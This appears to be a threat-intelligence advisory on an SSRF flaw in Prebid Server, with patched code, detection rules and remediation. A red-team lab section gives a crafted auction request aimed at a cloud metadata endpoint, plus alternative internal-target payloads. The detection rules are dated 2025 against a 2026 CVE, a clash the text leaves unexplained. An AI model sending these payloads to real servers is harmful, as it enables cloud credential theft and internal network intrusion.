CVE-2026-54735

Executive Summary

CVE-2026-54735 is a critical Server-Side Request Forgery (SSRF) vulnerability in Prebid Server, an open‑source real‑time advertising auction platform. Before version 4.4.0, certain bidder adapters interpolate user‑supplied parameters into outbound request URLs without validating host or subdomain values. A remote, unauthenticated attacker can craft a malicious bid request that forces the server to issue requests to internal network services or sensitive endpoints, potentially leading to data exfiltration, lateral movement, or remote code execution in adjacent environments. The CVSS score of 10.0 reflects the ease of exploitation (network, low complexity, no privileges) and full impact on confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

The threat level is Critical. The vulnerability can be weaponized by any unauthenticated attacker who can send bid requests to the server. Successful exploitation allows probing internal infrastructure, reading sensitive data, and potentially triggering arbitrary HTTP requests on internal resources.

Deep Dive & Mechanics

Prebid Server uses bidder adapters to communicate with external demand partners. Each adapter constructs a URL based on parameters passed in the bid request (e.g., publisher_id, domain, or custom ext fields). The flaw exists in adapters that:

• Use user‑supplied values as hostnames or subdomains without sanitization.
• Do not validate that the final host resolves to an allowed external domain.
• Omit path‑ or protocol‑restriction checks.

Example vulnerable flow:

Bid request → Adapter receives param "adapter_url_host"
→ Adapter builds URL: "https://" + user_input_host + "/bid"
→ Server makes GET/POST to that host
→ Attacker sets user_input_host = "internal.mail.server.local:8080/admin"

This allows the server to make requests to internal services such as metadata endpoints, cloud instance metadata (e.g., 169.254.169.254), or Docker API sockets.

Impact:

• Internal network scanning – attacker identifies live hosts and open ports.
• Cloud credential theft – e.g., AWS, GCP, Azure metadata services.
• Pivoting – if internal API lacks authentication, attacker can chain to other exploits.
• Denial of service – by forcing the server to connect to slow or blocking endpoints.

Vulnerable vs. Patched Code

Vulnerable (pre‑4.4.0) - example adapter pseudocode:

def make_request(bid_request):
    host = bid_request.get("host_override")   # no validation
    url = f"https://{host}/bid"
    response = httpx.get(url)
    return response

Patched (4.4.0) - sanitization added:

def make_request(bid_request):
    raw_host = bid_request.get("host_override")
    if not raw_host:
        return None
    # Validate only allowed external domains
    parsed = urllib.parse.urlparse(f"https://{raw_host}")
    if parsed.hostname not in ALLOWED_BIDDER_DOMAINS:
        raise ValueError("Invalid host")
    # Also block private/reserved IPs
    ip = socket.gethostbyname(parsed.hostname)
    if is_private_ip(ip) or is_reserved_ip(ip):
        raise ValueError("Blocked destination")
    url = f"https://{raw_host}/bid"
    response = httpx.get(url)
    return response

The patch introduces:

• A domain whitelist per adapter.
• A resolver that checks the resulting IP falls outside RFC 1918, loopback, and metadata ranges.

Exploitation & Lab Setup

Red Team (Adversary Simulation)

No public exploit code exists at this time, but the following lab setup demonstrates the vulnerability.

Lab Requirements:

• Prebid Server v4.3.0 or earlier (Docker Hub prebid/prebid-server:4.3.0)
• Attacker machine with curl or custom HTTP client
• Internal service to probe (e.g., a simple HTTP server on 10.0.0.2:8080)

Exploit Steps:

1. Deploy vulnerable Prebid Server in default configuration.
2. Send a crafted bid request to the /openrtb2/auction endpoint with a malicious imp.ext or adapter‑specific parameter:

POST /openrtb2/auction HTTP/1.1
Host: victim-prebid-server:8080
Content-Type: application/json

{
  "id": "test-bid",
  "imp": [{
    "id": "1",
    "ext": {
      "prebid": {
        "bidder": {
          "someAdapter": {
            "host_override": "169.254.169.254/latest/meta-data/"
          }
        }
      }
    }
  }],
  "site": {
    "id": "site1",
    "domain": "attacker.com"
  }
}

3. The server will issue a request to the AWS metadata endpoint (if running in cloud environment) and return the metadata response inside the bid response.

Alternative payloads:

• host_override: 10.0.0.1:22 (SSH port scan)
• host_override: internal.admin.system/api/admin (unauthorized API access)
• host_override: 127.0.0.1:3000 (local service)

Blue Team (Defender Detection)

Detection at the network layer:

• Monitor outbound HTTP connections from Prebid Server processes.
• Alert on destination IPs that are private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or loopback/reserved.
• Watch for high volumes of connections to unusual ports (e.g., 22, 80, 443 on internal IPs).

Detection at the application layer:

• Log and inspect host_override or similar parameters for IP addresses, localhost, or internal DNS names.
• Implement a canary hostname (e.g., canary.internal.prebid) and trigger alerts if a request reaches it.

Prevention:

• Restrict egress traffic from the Prebid Server pod/container using network policies.
• Use a forward proxy that blocks private/reserved IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from Prebid Server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.169.254)
  • Connections to metadata services (e.g., 169.254.169.254, 100.100.100.200)
  • Unexpected high‑port connections (e.g., 2222, 8081, 8443)

• Log IOCs:

  • Bid request imp.ext.prebid.bidder.* containing host_override with IP or internal hostname
  • Server logs showing connection errors to private addresses (timeouts, refusals)

• File IOCs (if attacker uploads malicious adapter config):

  • Modified adapter configurations in /etc/prebid-server/adapters/
  • New adapter files with custom host_override logic

Detection Engineering

YARA Rule (for scanning adapter configuration files)

rule Detect_SSRF_HostOverride_Prebid {
    meta:
        author = "Valters IT SOC"
        description = "Detects vulnerable or malicious host_override configuration in Prebid Server adapter files"
        cve = "CVE-2026-54735"
        date = "2025-03-01"
    strings:
        $s1 = "host_override" nocase
        $s2 = "169.254.169.254" nocase
        $s3 = "localhost" nocase
        $s4 = "10." ascii
        $s5 = "192.168" ascii
    condition:
        $s1 and any of ($s2,$s3,$s4,$s5)
}

Sigma Rule (Windows Event Log – assuming Prebid Server on Windows, adjust for Linux/Sysmon)

title: Prebid Server SSRF Exploitation Attempt
id: 740b8f1e-2c9a-41a9-bd2a-5a9634a2e1a3
status: experimental
description: Detects outbound HTTP connections from Prebid Server to private IP ranges
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54735
author: Valters IT
date: 2025-03-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\prebid-server.exe'   # adjust if different
        DestinationIp:
            - '10.*'
            - '172.16.*'
            - '172.17.*'
            - '172.18.*'
            - '172.19.*'
            - '172.20.*'
            - '172.21.*'
            - '172.22.*'
            - '172.23.*'
            - '172.24.*'
            - '172.25.*'
            - '172.26.*'
            - '172.27.*'
            - '172.28.*'
            - '172.29.*'
            - '172.30.*'
            - '172.31.*'
            - '192.168.*'
            - '127.*'
            - '169.254.*'
    condition: selection
falsepositives:
    - Legitimate internal API calls configured after due diligence
level: high

Suricata Rule (Network IDS)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-54735 Prebid Server SSRF Outbound to Private IP"; content:"|48 6f 73 74 3a|"; nocase; http_header; pcre:"/^Host\x3a\x20(?:10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168\.|127\.|169\.254\.)/Hm"; flow:established,to_server; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch – Upgrade to Prebid Server version 4.4.0 or later. This is the only official fix.
2. Virtual Patching – If immediate upgrade is not possible, deploy a WAF rule that inspects bid request parameters for:
   • Private IPs or loopback addresses in host_override or similar fields.
   • DNS names containing internal, localhost, or known internal domains.
3. Network Segmentation – Place Prebid Server in a DMZ with strict egress rules. Block all outbound traffic to private and reserved IP ranges at the firewall level.
4. Audit Adapter Configurations – Review all custom or third‑party bidder adapters for similar interpolation flaws. Ensure any user‑supplied host is validated against an allowlist.
5. Monitoring – Enable detailed logging for all outbound HTTP requests from Prebid Server. Correlate with the Sigma/Suricata rules above.

Report generated by Valters IT Cyber Threat Intelligence – CVE-2026-54735 analysis.